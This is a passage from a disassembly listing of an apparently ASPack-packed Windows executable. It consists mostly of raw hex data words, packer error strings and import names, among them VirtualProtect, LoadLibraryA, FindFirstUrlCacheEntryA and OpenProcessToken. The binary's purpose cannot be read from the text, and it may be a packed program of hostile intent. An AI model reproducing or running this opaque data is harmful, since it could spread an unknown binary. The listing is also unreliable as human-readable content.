25C8289h, 0ABF30000h dd 0E8AACA8Bh, 4, 8C25Fh, 30CEC81h, 8B530000h, 8D5655D9h dd 6A57046Bh, 0E8CD8B01h, 0FFFFFC29h, 0E75C085h, 260BB8Bh dd 0BDB90000h, 0F3000000h, 0F633AAABh, 0CD8B046Ah, 0FFFC0CE8h dd 344488FFh, 0FE834610h, 8DED7213h, 1C0BBh, 24448D00h dd 0CF8B5010h, 0FFFC80E8h, 75C084FFh, 5D5E5F0Bh, 0CC4815Bh dd 0C3000003h, 0CF8BF633h, 0FFFDE4E8h, 10F883FFh, 8B8B1573h dd 260h, 231148Ah, 0FE280D0h, 24345488h, 7560EB46h, 8B026A28h dd 0FBB3E8CDh, 0C083FFFFh, 7EC08503h, 0F5FE814Eh, 7D000002h dd 344C8A52h, 4C884823h, 85462434h, 0EBEA7FC0h, 11F88336h dd 36A0E75h, 86E8CD8Bh, 83FFFFFBh, 0CEB03C0h, 0CD8B076Ah dd 0FFFB78E8h, 0BC083FFh, 137EC085h, 2F5FE81h, 177D0000h dd 243444C6h, 85484600h, 81ED7FC0h, 2F5FEh, 738C0F00h dd 8DFFFFFFh, 8D242454h, 0E852104Bh, 0FFFFFBD5h, 0B75C084h dd 5B5D5E5Fh, 30CC481h, 8DC30000h, 2F52484h, 8B8D0000h dd 0A0h, 0FBB3E850h, 0C084FFFFh, 5E5F0B75h, 0C4815B5Dh dd 30Ch, 248C8DC3h, 311h, 308B8D51h, 0E8000001h, 0FFFFFB91h dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 0C6C30000h, 26483h dd 0C0330000h, 1104BC80h, 3000003h, 83400875h, 0F07208F8h dd 83C607EBh, 264h, 60838B01h, 8D000002h, 0BE24244Ch, 2F5h dd 1088118Ah, 754E4140h, 5D5E5FF7h, 815B01B0h, 30CC4h dd 1E8C300h, 90000000h, 5BEE815Eh, 0C3004445h, 8B14EC83h dd 531C2444h, 0C75655h, 0 dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h dd 104E8D00h, 0FFFC7CE8h, 1003DFFh, 13730000h, 1880E8Bh dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh dd 50000h, 8BFFFFFFh, 7E083E8h, 8D03EDC1h, 0F8830250h dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC2FE800h dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh, 443FABh dd 8F9835Eh, 4E8B3272h, 41118A04h, 18245488h, 8B044E89h dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh dd 8B90C56h, 2B000000h, 0D3FB03CFh, 18B9EAh, 7E890000h dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh dd 3F8F308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 0C735948Ah dd 5E00443Fh, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h dd 8F883FDh, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B1C24h, 4468908h, 1C24448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 7E8B0846h dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh dd 0FFFFFFh, 8E8DEFD3h, 130h, 0FFFB14E8h, 8DC303FFh, 5BEBF81Ch dd 8087E83h, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B2024h, 4468908h, 2024448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 468B0856h dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh, 85000002h dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h dd 250968Bh, 4B8D0000h, 588689FDh, 89000002h, 25496h, 508E8900h dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF0h, 1C74C084h dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h, 0B05D5E5Fh dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 0 dd 8, 400000h, 77E60000h, 6E72656Bh, 32336C65h, 6C6C642Eh dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h dd 69784500h, 6F725074h, 73736563h, 0 dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 77E7A5FDh dd 77E79F93h, 77E805D8h, 0 aKernel32_dll_2 db 'kernel32.dll',0 db 2 dup(0), 47h aEtprocaddress db 'etProcAddress',0 align 10h aGetmodulehandl db 'GetModuleHandleA',0 db 2 dup(0), 4Ch aOadlibrarya db 'oadLibraryA',0 dd 3 dup(0) dd 4AF80h, 4AF70h, 3 dup(0) dd 4B074h, 4B0C4h, 3 dup(0) dd 4B081h, 4B0CCh, 3 dup(0) dd 4B08Dh, 4B0D4h, 3 dup(0) dd 4B097h, 4B0DCh, 3 dup(0) dd 4B0A2h, 4B0E4h, 3 dup(0) dd 4B0ACh, 4B0ECh, 3 dup(0) dd 4B0B9h, 4B0F4h, 5 dup(0) aOleaut32_dll db 'oleaut32.dll',0 aWininet_dll_0 db 'wininet.dll',0 aOle32_dll_0 db 'ole32.dll',0 aUser32_dll_1 db 'user32.dll',0 aGdi32_dll_0 db 'gdi32.dll',0 aAdvapi32_dll_1 db 'advapi32.dll',0 aCrtdll_dll_0 db 'crtdll.dll',0 dd 77121680h, 0 dd 7620FB39h, 0 dd 771C1E56h, 0 aW db '&w',0 align 4 aMW db '$w',0 align 4 aW_0 db ' ]w',0 align 4 aIoS db 'os',0 align 4 db 0 align 2 aSysallocstring db 'SysAllocString',0 db 2 dup(0), 46h aIndfirsturlcac db 'indFirstUrlCacheEntryA',0 align 4 dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 6C6C6143h dd 646E6957h, 7250776Fh, 41636Fh, 65470000h, 6F745374h dd 624F6B63h, 7463656Ah, 4F000000h, 506E6570h, 65636F72h dd 6F547373h, 6E656Bh, 695F0000h, 616F74h, 3A2h dup(0) _aspack ends ; Section 7. (virtual address 0004D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0004D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 44D000h align 2000h _idata2 ends end start